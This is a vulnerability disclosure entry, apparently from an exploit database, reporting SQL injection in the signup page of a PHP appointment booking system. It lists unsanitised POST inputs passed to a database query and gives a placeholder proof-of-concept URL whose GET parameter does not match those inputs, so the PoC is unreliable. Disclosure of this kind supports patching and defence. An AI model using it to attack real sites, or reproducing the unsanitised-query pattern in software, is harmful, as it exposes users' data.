EXPLOITS

Online Appointment - SQL Injection

Author: mohammad zaheri
type: webapps
platform: php
port: 80.0
date_added: 2019-09-09  
date_updated: 2019-09-10  
verified: 0  
codes:   
tags: SQL Injection (SQLi)  
aliases:   
screenshot_url:   
application_url:   

raw file: 47366.txt  

# Exploit Title: Online Appointment SQL Injection
# Data: 07.09.2019
# Exploit Author: mohammad zaheri
# Vendor HomagePage: https://github.com/girish03/Online-Appointment-Booking-System
# Tested on: Windows
# Google Dork: N/A


=========
Vulnerable Page:
=========
Online-Appointment-Booking-System-master/signup.php


==========
Vulnerable Source:
==========
Line 52: $name=$_POST['fname'];
Line 53: $gender=$_POST['gender'];
Line 54: $dob=$_POST['dob'];
Line 55: $contact=$_POST['contact'];
Line 56: $email=$_POST['email'];
Line 57: $username=$_POST['username'];
Line 58: $password=$_POST['pwd'];
Line 59: $prepeat=$_POST['pwdr'];
Line 62: if (mysqli_query($conn, $sql))

=========
POC:
=========
http://site.com/Online-Appointment-Booking-System-master/signup.php?sql=[SQL]



=========
Contact Me :
=========
Telegram : @m_zhrii
Email : neoboy503@gmail.com